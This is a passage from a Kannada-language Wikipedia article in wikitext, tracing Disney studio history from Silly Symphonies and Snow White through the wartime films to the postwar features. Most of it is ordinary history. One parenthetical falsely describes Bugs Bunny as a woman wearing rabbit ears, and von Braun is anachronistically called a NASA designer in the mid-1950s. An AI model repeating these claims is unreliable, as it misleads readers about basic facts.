ಗ್ರಹಾಮ್‌ರನ್ನು ನೇಮಿಸಿಕೊಂಡರು. ಸಹಜವೆನಿಸುವ ಮಾನವ ಆನಿಮೇಷನ್‌, ವಿಶಿಷ್ಟ ಪಾತ್ರದ ಆನಿಮೇಷನ್‌, ವಿಶೇಷ ಪ್ರಭಾವಗಳು (ಸ್ಪೆಷಲ್‌ ಇಫೆಕ್ಟ್ಸ್‌) ಪ್ರಯೋಗಗಳಿಗಾಗಿ, ಹಾಗೂ, ಮಲ್ಟಿಪ್ಲೇನ್‌ ಕ್ಯಾಮೆರಾದಂತಹ ವಿಶೇಷ ಉಪಕರಣ ಮತ್ತು ಪ್ರಕ್ರಿಯೆಗಳ ಬಳಕೆಗಾಗಿ ''ಸಿಲ್ಲಿ ಸಿಂಫನೀಸ್‌'' ನ್ನು ವೇದಿಕೆಯಾಗಿ ಬಳಸಿತು. ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು 1937ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''ಸಿಲ್ಲಿ ಸಿಂಫನೀಸ್‌'' ನ ಒಂದು ಕಿರು-ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರ ದಿ ''[[ಓಲ್ಡ್‌ ಮಿಲ್‌]]'' ತನ್ನ ಮೊದಲ ಬಾರಿಗೆ ಈ ತಂತ್ರ ಪ್ರಯೋಗಿಸಿತು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.justdisney.com/walt_disney/biography/long_bio.html|title=Walt Disney, Biography|publisher=Just Disney|archive-date=2007-07-10|archive-url=https://web.archive.org/web/20070710012642/http://www.justdisney.com/walt_disney/biography/long_bio.html|url-status=bot: unknown}}</ref> ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊದ ಗುಣಮಟ್ಟ ಉತ್ತಮಗೊಳಿಸಲು ಈ ವಿನ್ಯಾಸ-ಅಭಿವೃದ್ಧಿ ಮತ್ತು ತರಬೇತಿಯೆಲ್ಲವನ್ನೂ ಬಳಸಲಾಯಿತು. ಇದರಿಂದಾಗಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ನಿರೀಕ್ಷಿಸಿದ ಗುಣಮಟ್ಟವನ್ನು ಈ ಸ್ಟುಡಿಯೊ ಚಲನಚಿತ್ರಕ್ಕೆ ನೀಡಬಹುದೆಂಬ ಅಶಯವೂ ಇತ್ತು. 1934ರಿಂದ 1937ರ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಸ್ಟುಡಿಯೊದಲ್ಲಿ ಹಣದ ಕೊರತೆಯುಂಟಾಗುವ ವರೆಗೂ, ''[[ಸ್ನೋ ವೈಟ್‌ ಅಂಡ್‌ ದಿ ಸೆವೆನ್‌ ಡ್ವಾರ್ಫ್ಸ್]]'' ಎಂದು ಹೆಸರಿಸಲಾದ ಈ ಚಲನಚಿತ್ರವು ಪೂರ್ಣಪ್ರಮಾಣದ ನಿರ್ಮಾಣ ಹಂತದಲ್ಲಿತ್ತು. ''ಸ್ನೋ ವೈಟ್‌'' ಚಲನಚಿತ್ರ ಪೂರ್ಣಗೊಳಿಸಲು ಬೇಕಾದ ಹಣ ಪಡೆಯಲು, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಈ ಚಲನಚಿತ್ರದ ಕರಡು ಭಾಗವನ್ನು [[ಬ್ಯಾಂಕ್‌ ಆಫ್‌ ಅಮೆರಿಕಾ]]ದ ಸಾಲದ ಅಧಿಕಾರಿಗಳಿಗೆ ತೋರಿಸಬೇಕಾಯಿತು. ಚಲನಚಿತ್ರ ಪೂರ್ಣಗೊಳಿಸಲು ಬ್ಯಾಂಕ್‌ ,ಡಿಸ್ನಿ ಸಂಸ್ಥೆಗೆ ಅಗತ್ಯ ಹಣದ ಸಾಲ ನೀಡಿತು. ಪೂರ್ಣಗೊಂಡ ಚಲನಚಿತ್ರದ ಪ್ರಥಮಪ್ರದರ್ಶನ 21 ಡಿಸೆಂಬರ್‌ 1937ರಂದು ಕಾರ್ಥೆ ಸರ್ಕಲ್‌ ಥಿಯೆಟರ್‌ನಲ್ಲಿ ನಡೆಯಿತು. ಚಲನಚಿತ್ರವು ಮುಗಿದ ಕೂಡಲೆ, ವೀಕ್ಷಕರೆಲ್ಲರೂ ಎದ್ದು ನಿಂತು ''ಸ್ನೋ ವೈಟ್‌ ಅಂಡ್‌ ದಿ ಸೆವೆನ್‌ ಡ್ವಾರ್ಫ್ಸ್'' ಚಲನಚಿತ್ರವನ್ನು ಶ್ಲಾಘಿಸಿ ಕರತಾಡನ ಮಾಡಿದರು. ಅಮೆರಿಕಾದಲ್ಲಿಯೇ ಮೊಟ್ಟಮೊದಲ ಆನಿಮೇಟೆಡ್‌ ಹಾಗೂ ಟೆಕ್ನಿಕಲರ್‌ ಚಲನಚಿತ್ರ ''ಸ್ನೋ ವೈಟ್‌'' ಫೆಬ್ರವರಿ 1938ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು. ಹಿಂದೆ 1936ರಲ್ಲಿ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳ ವಿತರಕರಾಗಿದ್ದ [[RKO ರೇಡಿಯೊ ಪಿಕ್ಚರ್ಸ್]] ವಿತರಣಾ ಉದ್ಯಮದತ್ತ ಗಮನ ಕೇಂದ್ರೀಕರಿಸಲು ತನ್ನ ವ್ಯಾನ್‌ ಬ್ಯೂರನ್‌ ಸ್ಟುಡಿಯೊಸ್‌‌ನ್ನು ಮುಚ್ಚಿತು. RKO ರೇಡಿಯೊ ಪಿಕ್ಚರ್ಸ್ ಹೊಸ ಒಪ್ಪಂದದಂತೆ ಸ್ನೋ ವೈಟ್‌ ಚಲನಚಿತ್ರವನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಿತು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.imagesjournal.com/issue08/reviews/vanbeuren/|title=Cartoons that Time Forgot|publisher=Images Journal}}</ref> ಈ ಚಲನಚಿತ್ರವು 1938ರ ಅತಿ ಯಶಸ್ವಿ ಚಲನಚಿತ್ರವಾಯಿತು; ಚಿತ್ರಮಂದಿರಗಳಲ್ಲಿ ತೆರೆಕಂಡ ಇದು $8 ದಶಲಕ್ಷಕ್ಕಿಂತಲೂ ಹೆಚ್ಚು ಆದಾಯ ಗಳಿಸಿತು. === ಆನಿಮೇಷನ್‌ನ ಸ್ವರ್ಣಯುಗ === ''ಸ್ನೋ ವೈಟ್‌'' ನ ಯಶಸ್ಸು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ಒಂದು ಪೂರ್ಣಪ್ರಮಾಣದ, ಏಳು ಸಣ್ಣ ಗಾತ್ರದ ಆಸ್ಕರ್‌ ಪ್ರಶಸ್ತಿ ಪ್ರತಿಮೆಗಳನ್ನು ಜಯಿಸಿಕೊಟ್ಟಿತು. ಇದರ ಫಲವಾಗಿ, [[ಬರ್ಬ್ಯಾಂಕ್‌]]ನಲ್ಲಿ [[ವಾಲ್ಟ್ ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊಸ್‌]]ಗಾಗಿ ಹೊಸ ಆವರಣ ನಿರ್ಮಿಸಲು ಸಾಧ್ಯವಾಯಿತು. ಇದು ವಾಣಿಜ್ಯ-ವ್ಯವಹಾರಕ್ಕಾಗಿ 24 ಡಿಸೆಂಬರ್‌ 1939ರಂದು ಆರಂಭವಾಯಿತು. ''ಸ್ನೋ ವೈಟ್‌'' ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಯಶಸ್ಸಿನ ಶಿಖರ ಮಾತ್ರವಲ್ಲ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಆನಿಮೇಷನ್‌ನ ಸ್ವರ್ಣಯುಗಕ್ಕೆ ನಾಂದಿಯಾಯಿತು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.animationusa.com/resources/aboutdisney.html|title=Walt Disney Studio Biography |publisher=Animation USA}}</ref><ref>{{cite web|accessdate=2008-05-21|url=http://disney.go.com/disneyatoz/familymuseum/exhibits/articles/goldenage/index.html|title=The Golden Age of Animation |publisher=[[Disney]]}}</ref> ಆಗತಾನೆ ''[[ಪಿನೊಚಿಯೊ]]'' ಪೂರ್ಣಗೊಳಿಸಿದ ಚಲನಚಿತ್ರ ಆನಿಮೇಷನ್‌ ಸಿಬ್ಬಂದಿ ''[[ಫ್ಯಾಂಟೆಸಿಯಾ]]'' ಮತ್ತು ''[[ಬಾಂಬಿ]]'' ನಿಮಿತ್ತ ತಮ್ಮ ಕಾರ್ಯ ಮುಂದುವರೆಸಿದರಲ್ಲದೆ, ''[[ಆಲೀಸ್‌ ಇನ್‌ ವಂಡರ್ಲೆಂಡ್‌]]'' ಮತ್ತು ''[[ಪೀಟರ್‌ ಪ್ಯಾನ್‌]]'' ಚಲನಚಿತ್ರಗಳ ನಿರ್ಮಾಣದ ಆರಂಭಿಕ ಹಂತಗಳಲ್ಲಿಯೂ ಸಕ್ರಿಯರಾದರು. ಕಿರು ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳ ಸಿಬ್ಬಂದಿ ಈ ಸಮಯದಲ್ಲಿ ''ಸಿಲ್ಲಿ ಸಿಂಫನೀಸ್‌'' ಸಂಬಂಧಿತ ಕಾರ್ಯಗಳನ್ನು ಪೂರ್ಣಗೊಳಿಸಿ, ''ಮಿಕ್ಕಿ ಮೌಸ್‌'' , ''ಡೊನಾಲ್ಡ್‌ ಡಕ್‌'' , ''ಗೂಫಿ'' ಮತ್ತು ''ಪ್ಲೂಟೊ'' ವ್ಯಂಗ್ಯಚಿತ್ರ ಸರಣಿಗಳೊಂದಿಗೆ ತಮ್ಮ ಕಾರ್ಯ ಮುಂದುವರೆಸಿದರು. ಕಳೆದ 1930ರ ದಶಕದ ಅಪರಾರ್ಧಭಾಗದಲ್ಲಿ ಚಿತ್ರಮಂದಿರದ ಪ್ರೇಕ್ಷಕರಲ್ಲಿ ಡೊನಾಲ್ಡ್‌ ಡಕ್‌ ಮಿಕ್ಕಿ ಮೌಸ್‌ನ್ನು ಹಿಂದಿಕ್ಕಿ ಹೆಚ್ಚು ಜನಪ್ರಿಯತೆ ಗಳಿಸಲಾರಂಭಿಸಿದಾಗ, ಆನಿಮೇಟರ್‌ ಫ್ರೆಡ್‌ ಮೂರ್‌ ಮಿಕ್ಕಿ ಮೌಸ್‌ನ್ನು ಪುನರ್ವಿನ್ಯಾಸ ಮಾಡಿದರು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.bcdb.com/bcdb/cartoon.cgi?film=15&m=r|title=Fantasia Review|publisher=The Big Cartoon Database}}</ref> 1940ರಲ್ಲಿ ''ಸ್ನೋ ವೈಟ್‌ ಅಂಡ್‌ ದಿ ಸೆವೆನ್‌ ಡ್ವಾರ್ಫ್ಸ್'' ನಂತರ ''ಪಿನೊಚಿಯೊ'' ಮತ್ತು ''ಫ್ಯಾಂಟಸಿಯಾ'' ಚಲನಚಿತ್ರಮಂದಿರಗಳ ಹಾದಿ ಹಿಡಿದವು. ಆದರೆ ಇವೆರಡೂ ವ್ಯವಹಾರಿಕವಾಗಿ ವಿಫಲವಾದವು. ಆದಾಯ ಹೆಚ್ಚಲೆಂದು, ಕಡಿಮೆ ವೆಚ್ಚದಲ್ಲಿ ನಿರ್ಮಿಸಲಾದ ''[[ಡಂಬೊ]]'' ಚಲನಚಿತ್ರವನ್ನು ಪ್ರಾಯೋಜಿಸಲಾಗಿತ್ತು. ಆದರೆ ಈ ಚಿತ್ರದ ನಿರ್ಮಾಣ ಹಂತದಲ್ಲಿ ಹಲವು ಆನಿಮೇಷನ್‌ ಸಿಬ್ಬಂದಿ [[ಮುಷ್ಕರ ಹೂಡಿದರು]]. ಇದರಿಂದಾಗಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಮತ್ತು ತಮ್ಮ ಕಲಾವಿದ ಸಿಬ್ಬಂದಿ ನಡುವೆ ಭಾರೀ ಮನಸ್ತಾಪಕ್ಕೆ ಕಾರಣವಾಯಿತು. == 1941-1945: ಎರಡನೆಯ ವಿಶ್ವಸಮರದ ಸಮಯದಲ್ಲಿ == U.S. ಸರ್ಕಾರವು ತನ್ನ 'ಗುಡ್‌ ನೇಬರ್‌ ಪಾಲಿಸಿಯಂತೆ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಮತ್ತು ಆನಿಮೇಟರ್‌ಗಳ ತಂಡವನ್ನು ದಕ್ಷಿಣ ಅಮೆರಿಕಾಗೆ ಕಳುಹಿಸಿಕೊಟ್ಟಿತು. ಮುಂಬರುವ ಚಲನಚಿತ್ರ ''[[ಸ್ಯಾಲುಡೊಸ್‌ ಅಮಿಗೊಸ್‌]]'' ಗಾಗಿ ಹಣಕಾಸಿನ ನೆರವಿನ ಆಶ್ವಾಸನೆ ನೀಡಿತು.<ref>[http://www.waltandelgrupo.com/ ವಾಲ್ಟ್‌ ಅಂಡ್‌ ಎಲ್‌ ಗ್ರೂಪೊ] (ಸಾಕ್ಷ್ಯಚಿತ್ರ, 2008).</ref> ಅಕ್ಟೋಬರ್‌ 1941ರಲ್ಲಿ ''ಡಂಬೊ'' ಚಲನಚಿತ್ರವು ಬಿಡುಗಡೆಯಾದ ನಂತರ, ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ [[ಎರಡನೆಯ ವಿಶ್ವಸಮರ]] ಪ್ರವೇಶಿಸಿತು. [[U.S. ಭೂಸೇನೆ]]ಯು ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ ಸೌಲಭ್ಯಗಳನ್ನು ಪಡೆದುಕೊಂಡು, ತರಬೇತಿ ನೀಡುವಂತಹ ಕಿರುಚಿತ್ರಗಳು ಮತ್ತು ಚಲನಚಿತ್ರಗಳನ್ನು ರಚಿಸಲು ಸೂಚಿಸಿತು. ಹುಮ್ಮಸ್ಸು ನೀಡುವಂತಹ ಕಿರುಚಿತ್ರಗಳಾದ ''[[ಡರ್‌ ಫುಹ್ರರ್‌'ಸ್‌ ಫೇಸ್‌]]'' ಮತ್ತು ಚಲನಚಿತ್ರ ''[[ವಿಕ್ಟರಿ ಥ್ರೂ ಏಯರ್‌ ಪಾವರ್‌]]'' ನ್ನು 1943ರಲ್ಲಿ ನಿರ್ಮಿಸಲಾಯಿತು. ಆದರೂ, ಸೇನಾ-ಪ್ರಧಾನ ಚಲನಚಿತ್ರವು ಆದಾಯ ಗಳಿಸಲಿಲ್ಲ. ಏಪ್ರಿಲ್‌ 1942ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''[[ಬಾಂಬಿ]]'' ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ವಿಫಲವಾಯಿತು. ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ''ಸ್ನೋ-ವೈಟ್‌'' ನ್ನು 1944ರಲ್ಲಿ ಪುನಃ ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಇದರಿಂದಾಗಿ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಏಳು ವರ್ಷಗಳ ಪುನಃ ಬಿಡುಗಡೆಯ ಸಂಪ್ರಯದಾಯವನ್ನು ಅನುಷ್ಟಾನಕ್ಕೆ ತಂದಿತು. 1945ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''[[ದಿ ತ್ರೀ ಕೆಬಲೆರೊಸ್‌]]'' ಯುದ್ಧಕಾಲದ ಕೊನೆಯ ಆನಿಮೇಟೆಡ್‌ ಚಿತ್ರವಾಗಿತ್ತು. 1944ರಲ್ಲಿ, ''[[ಎನ್ಸೈಕ್ಲೊಪೀಡಿಯಾ ಬ್ರಿಟಾನಿಕಾ]]'' ದ [[ಪ್ರಕಾಶಕ]] [[ವಿಲಿಯಮ್‌ ಬೆಂಟನ್‌]] ಪ್ರತಿವರ್ಷ ಆರರಿಂದ ಹನ್ನೆರಡು ಶೈಕ್ಷಣಿಕ ಚಿತ್ರಗಳನ್ನು ತಯಾರಿಸುವ ಕುರಿತು ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯೊಂದಿಗೆ ವಿಫಲ ಮಾತುಕತೆ ನಡೆಸಿದ್ದರು. US [[ಕೊ-ಆರ್ಡಿನೇಟರ್‌ ಆಫ್‌ ಇಂಟರ್‌-ಅಮೆರಿಕನ್‌ ಅಫೇರ್ಸ್‌]] ಆಫಿಸ್‌ ಆಫ್‌ ಇಂಟರ್‌-ಅಮೆರಿಕನ್‌ ಅಫೇರ್ಸ್‌ (OIAA) ಅಧಿಕಾರಿಗಳಿಂದ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ [[ಅಮೇಜಾನ್‌ ಜಲಾನಯನ ಪ್ರದೇಶ]]ದ ಕುರಿತು ಶೈಕ್ಷಣಿಕ ಚಲನಚಿತ್ರ ನಿರ್ಮಿಸುವಂತೆ ಕೋರಿಕೆ ಸಲ್ಲಿಸಲಾಯಿತು. ಇದರ ಫಲವಾಗಿ, 1944ರಲ್ಲಿ, '''ದಿ ಅಮೇಜಾನ್‌ ಅವೇಕೆನ್ಸ್‌'' ' ಎಂಬ ಒಂದು ಆನಿಮೇಟೆಡ್‌ ಕಿರುಚಿತ್ರ ನಿರ್ಮಾಣವಾಯಿತು.<ref>ಗೇಬ್ಲರ್‌, 2006, ಪು.444</ref><ref>ಕ್ರ್ಯಾಮರ್‌, ಗಿಸೆಲಾ; ಪ್ರಷ್‌, ಉರ್ಸುಲಾ, [http://hahr.dukejournals.org/cgi/content/citation/86/4/785 "ನೆಲ್ಸನ್‌ ಎ. ರಾಕ್ಫೆಲರ್‌'ಸ್‌ ಆಫೀಸ್‌ ಆಫ್‌ ಇಂಟರ್‌-ಅಮೆರಿಕನ್‌ ಅಫೇರ್ಸ್‌ (1940-1946) ಅಂಡ್‌ ರೆಕಾರ್ಡ್‌ ಗ್ರೂಪ್‌ 229"], ''ಹಿಸ್ಪಾನಿಕ್‌ ಅಮೆರಿಕನ್‌ ಹಿಸ್ಟಾರಿಕಲ್ ರೆವ್ಯೂ'' 2006 86(4):785-806; DOI:10.1215/00182168-2006-050. Cf. ಪು.795 ಮತ್ತು ಟಿಪ್ಪಣಿ 28.</ref><ref>ಬೆಂಡರ್‌, ಪೆನ್ನೀ. "ಹಾಲಿವುಡ್‌ ಮೀಟ್ಸ್‌ ಸೌತ್‌ ಅಮೆರಿಕನ್‌ ಅಂಡ್‌ ಸ್ಟೇಜೆಸ್‌ ಎ ಷೋ" ಅಮೆರಿಕನ್‌ ಸ್ಟಡೀಸ್‌ ಅಸೊಷಿಯೇಷನ್‌ನ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಪ್ರಸ್ತುತಪಡಿಸಲಾದ ಪತ್ರಿಕೆ. 2009-05-24 <http://www.allacademic.com/meta/p114070_index.html></ref><ref>ನಿಬ್ಲೊ, ಸ್ಟೀಫೆನ್‌ ಆರ್‌., [https://books.google.com/books?id=WKs-UoFtbTYC&amp;printsec=frontcover "ಮೆಕ್ಸಿಕೊ ಇನ್‌ ದಿ 1940ಸ್‌: ಮಾಡರ್ನಿಟಿ, ಪಾಲಿಟಿಕ್ಸ್‌ ಅಂಡ್‌ ಕರಪ್ಷನ್‌"], ವಿಲಿಮಿಂಗ್ಟನ್‌, ಡೆಲ್‌. : ಸ್ಕಾಲರ್ಲಿ ರೆಸೊರ್ಸೆಸ್‌, 1999. ISBN 0-7910-6772-6 ಸಿಎಫ್‌. "ನೆಲ್ಸನ್‌ ರಾಕ್‌ಫೆಲರ್‌ ಅಂಡ್‌ ದಿ ಆಫೀಸ್‌ ಆಫ್‌ ಇಂಟರ್‌-ಅಮೆರಿಕನ್‌ ಅಫೇರ್ಸ್‌", ಪು.333</ref><ref>ಲಯೊನಾರ್ಡ್‌, ಥಾಮಸ್‌ ಎಂ.; ಬ್ರಾಟ್ಜೆಲ್‌, ಜಾನ್‌ ಎಫ್‌., [https://books.google.com/books?id=YA6-HTSJv5MC&amp;printsec=frontcover ''ಲ್ಯಾಟಿನ್‌ ಅಮೆರಿಕಾ ಡ್ಯೂರಿಂಗ್‌ ವರ್ಲ್ಡ್‌ ವಾರ್‌ II'' ], ರೋಮನ್‌ ಅಂಡ್‌ ಲಿಟ್ಲ್‌ಫೀಲ್ಡ್‌ ಪಬ್ಲಿಷರ್ಸ್‌, ಇಂಕ್‌., 2007. ISBN 978-0-7513-2886-8 ಸಿಎಫ್. ಪು.47.</ref> == 1945–1955: ಯುದ್ಧ ನಂತರದ ಕಾಲದಲ್ಲಿ ಡಿಸ್ನಿ == ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ ಅಗ್ಗಬೆಲೆಯ ಸೂತ್ರದ ಪ್ಯಾಕೇಜ್‌ ಆಧಾರದ ಚಿತ್ರಗಳನ್ನೂ ನಿರ್ಮಿಸಿತು. ಇದರಲ್ಲಿ ವ್ಯಂಗ್ಯ-ಕಿರುಚಲನಚಿತ್ರಗಳ ಸಂಕಲನಗಳಿದ್ದವು. ಇದೇ ಸಮಯದಲ್ಲಿ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಚಲನಚಿತ್ರಮಂದಿರಗಳಿಗೆ ಪ್ರದರ್ಶನಕ್ಕಾಗಿ ನೀಡಿತು. ಇದರಲ್ಲಿ ''[[ಮೇಕ್‌ ಮೈನ್‌ ಮ್ಯೂಸಿಕ್‌]]'' (1946), ''[[ಮೆಲೊಡಿ ಟೈಮ್‌]]'' (1948), ''[[ಫನ್‌ ಅಂಡ್‌ ಫ್ಯಾನ್ಸಿ ಫ್ರೀ]]'' (1947) ಮತ್ತು ''[[ದಿ ಅಡ್ವೆಂಚರ್ಸ್‌ ಆಫ್‌ ಇಕಾಬಾಡ್‌ ಅಂಡ್‌ ಮಿಸ್ಟರ್‌ ಟೋಡ್‌]]'' (1949) ಸೇರಿವೆ. ಕೇವಲ ಎರಡೇ ವಿಭಾಗಗಳಿದ್ದವು: ಮೊದಲನೆಯದು [[ಕೆನೆತ್‌ ಗ್ರಹಾಮೆ ‌]]ರ ''[[ದಿ ವಿಂಡ್‌ ಇನ್‌ ದಿ ವಿಲ್ಲೊಸ್‌]]'' , ಹಾಗೂ ಎರಡನೆಯದು [[ವಾಷಿಂಗ್ಟನ್‌ ಇರ್ವಿಂಗ್‌]]ರ ''[[ದಿ ಲೆಜೆಂಡ್‌ ಆಫ್‌ ದಿ ಸ್ಲೀಪಿ ಹೋಲೊ]]'' ಕೃತಿಗಳನ್ನು ಆಧರಿಸಿದ್ದವು. ಈ ಅವಧಿಯಲ್ಲಿ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ''[[ಸಾಂಗ್‌ ಆಫ್‌ ದಿ ಸೌತ್‌]]'' ಮತ್ತು ''[[ಸೊ ಡಿಯರ್‌ ಟು ಮೈ ಹಾರ್ಟ್‌]]'' ಸೇರಿದಂತೆ, ಪೂರ್ಣಪ್ರಮಾಣದ ನಾಟಕ-ಪ್ರಧಾನ ಚಲನಚಿತ್ರ ನಿರ್ಮಾಣದಲ್ಲಿ ತೊಡಗಿತು. ಇದು ನೈಜ ಚಿತ್ರಣ ಮತ್ತು ಆನಿಮೇಟೆಡ್‌ ದೃಶ್ಯಗಳ ಮಿಶ್ರಣ ಹೊಂದಿತ್ತು. ಯುದ್ಧ ಅಂತ್ಯಗೊಂಡ ನಂತರ ಮಿಕ್ಕಿಯ ಜನಪ್ರಿಯತೆಯೂ ಸಹ ಮಾಸಿಹೋಗುವಂತಿತ್ತು.<ref>{{cite web|accessdate=2008-05-21|url=http://disney.go.com/disneyatoz/familymuseum/exhibits/articles/mickeymousepostwar/index.html|title=Mickey in the Post-War Era|publisher=[[Disney]]|author=Solomon, Charles}}</ref> ಇಸವಿ 1940ರ ಉತ್ತರಾರ್ಧದಲ್ಲಿ, ಸ್ಟುಡಿಯೊ ಗಮನಾರ್ಹವಾಗಿ ಚೇತರಿಸಿಕೊಂಡಿತ್ತು. ''[[ಆಲೀಸ್‌ ಇನ್‌ ವಂಡರ್ಲೆಂಡ್‌]]'' ಮತ್ತು ''[[ಪೀಟರ್‌ ಪ್ಯಾನ್‌]]'' ನಂತಹ ಪೂರ್ಣಪ್ರಮಾಣದ ಚಲನಚಿತ್ರಗಳ ನಿರ್ಮಾಣ ಮುಂದುವರೆಸಿತು. ಇವರೆಡನ್ನೂ ಯುದ್ಧ ಸಂದರ್ಭದಲ್ಲಿ ಸ್ಥಗಿತಗೊಳಿಸಲಾಗಿತ್ತು. ಜೊತೆಗೆ, ''[[ಸಿಂಡೆರೆಲಾ]]'' ಎಂಬ ಹೊಸ ಚಲನಚಿತ್ರದ ನಿರ್ಮಾಣವನ್ನು ಆರಂಭಿಸಿದರು. ''ಸ್ನೋ ವೈಟ್‌ ಅಂಡ್‌ ದಿ ಸೆವೆನ್‌ ಡ್ವೊಫ್ಸ್‌'' ನಂತರ ಸಿಂಡೆರೆಲಾ ಅತಿ ಹೆಚ್ಚು ಯಶಸ್ಸು ಪಡೆದ ಚಲನಚಿತ್ರವಾಯಿತು. ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ 1948ರಲ್ಲಿ ''ಟ್ರೂ-ಲೈಫ್‌ ಅಡ್ವೆಂಚರ್ಸ್‌'' ಎಂಬ ಪ್ರಕೃತಿ-ಪ್ರಧಾನ ಚಲನಚಿತ್ರಗಳ ಸರಣಿಯನ್ನು ಆರಂಭಗೊಳಿಸಿತು. ಇದರಲ್ಲಿ ಮೊದಲನೆಯದು ''ಆನ್‌ ಸೀಲ್‌ ಐಲೆಂಡ್‌'' . ಪೂರ್ಣಪ್ರಮಾಣದ ಚಲನಚಿತ್ರಗಳ ಮೂಲಕ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಭಾರೀ ಯಶಸ್ಸು ಗಳಿಸಿದರೂ, ಅದರ ವ್ಯಂಗ್ಯ-ಕಿರುಚಲನಚಿತ್ರಗಳು ಹಿಂದಿನ ಜನಪ್ರಿಯತೆ ಉಳಿಸಿಕೊಳ್ಳಲಾಗಲಿಲ್ಲ. ಚಲನಚಿತ್ರ ವೀಕ್ಷಕರು ವಾರ್ನರ್‌ ಬ್ರದರ್ಸ್‌ ಸಂಸ್ಥೆ ಮತ್ತು ಅದರ ಪ್ರಮುಖ ಆಕರ್ಷಣೆಯಾದ ಆನಿಮೇಟೆಡ್‌ ತಾರೆ [[ಬಗ್ಸ್‌ ಬನ್ನಿ]]ಯತ್ತ ಮುಖ ಮಾಡಿದರು. 1942ರಲ್ಲಿ, ವಾರ್ನರ್ ಬ್ರದರ್ಸ್‌ಗಾಗಿ ವ್ಯಂಗ್ಯ ಚಲನಚಿತ್ರಗಳನ್ನು ನಿರ್ಮಿಸಿದ [[ಲಿಯೊನ್‌ ಷ್ಲೆಸಿಂಗರ್‌ ಪ್ರೊಡಕ್ಷನ್ಸ್‌]] ದೇಶದ ಜನಪ್ರಿಯ ಆನಿಮೇಷನ್‌ ಸ್ಟುಡಿಯೊ ಆಗಿ ಹೊರಹೊಮ್ಮಿತು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.animationusa.com/resources/aboutwb.html|title=Warner Bros. Studio Biography |publisher=Animation USA}}</ref> ಆದರೂ, ಬಗ್ಸ್ ಬನ್ನಿ(ಮಹಿಳೆಯೊಬ್ಬಳು ಮೊಲದ ಕಿವಿ ಹಾಕಿಕೊಂಡ ಪಾತ್ರ)ಯ ಜನಪ್ರಿಯತೆ 1940ರ ದಶಕದಲ್ಲಿ ಹೆಚ್ಚಾಗುತ್ತಿದ್ದಂತೆಯೇ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಡೊನಾಲ್ಡ್‌ ಡಕ್‌ನ ಜನಪ್ರಿಯತೆಯೂ ಹೆಚ್ಚಾಗತೊಡಗಿತು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.sandcastlevi.com/movies/disneyh5.htm|title=Disney's Animated Classics|publisher=Sandcastle VI}}</ref> 1949ರಷ್ಟರಲ್ಲಿ ಡೊನಾಲ್ಡ್‌ ಡಕ್‌ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಪ್ರಮುಖ ಸ್ಥಾನದಿಂದ ಮಿಕ್ಕಿ ಮೌಸ್‌ನ್ನು ಕೆಳಗಿಳಿಸಿ ತಾನು ಹತ್ತಿ ಕುಳಿತಿದ್ದ.<ref>{{cite web|accessdate=2008-05-21|url=http://petcaretips.net/donald-duck.html|title=Donald Duck|publisher=Pet Care Tips}}</ref> 1950ರ ದಶಕದ ಮಧ್ಯದಲ್ಲಿ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು [[ನಾಸಾ]] ರಾಕೆಟ್‌ ವಿನ್ಯಾಸಕಾರ [[ವರ್ನರ್‌ ವಾನ್‌ ಬ್ರಾನ್‌]]ರ ಸಹಯೋಗದೊಂದಿಗೆ ಹಲವು [[ಶೈಕ್ಷಣಿಕ ಚಲನಚಿತ್ರ]]ಗಳನ್ನು ನಿರ್ಮಿಸಿತು: 1955ರಲ್ಲಿ ''ಮ್ಯಾನ್‌ ಇನ್‌ ಸ್ಪೇಸ್‌'' ಮತ್ತು ''ಮ್ಯಾನ್‌ ಅಂಡ್‌ ದಿ ಮೂನ್‌'' in 1955, and 1957ರಲ್ಲಿ ''ಮಾರ್ಸ್‌ ಅಂಡ್‌ ಬೆಯಾಂಡ್‌'' . [[ಚಿತ್ರ:Walt Disney and Dr. Wernher von Braun - GPN-2000-000060.jpg|thumb|left|1954ರಲ್ಲಿ ವರ್ನರ್‌ ವೊನ್‌ 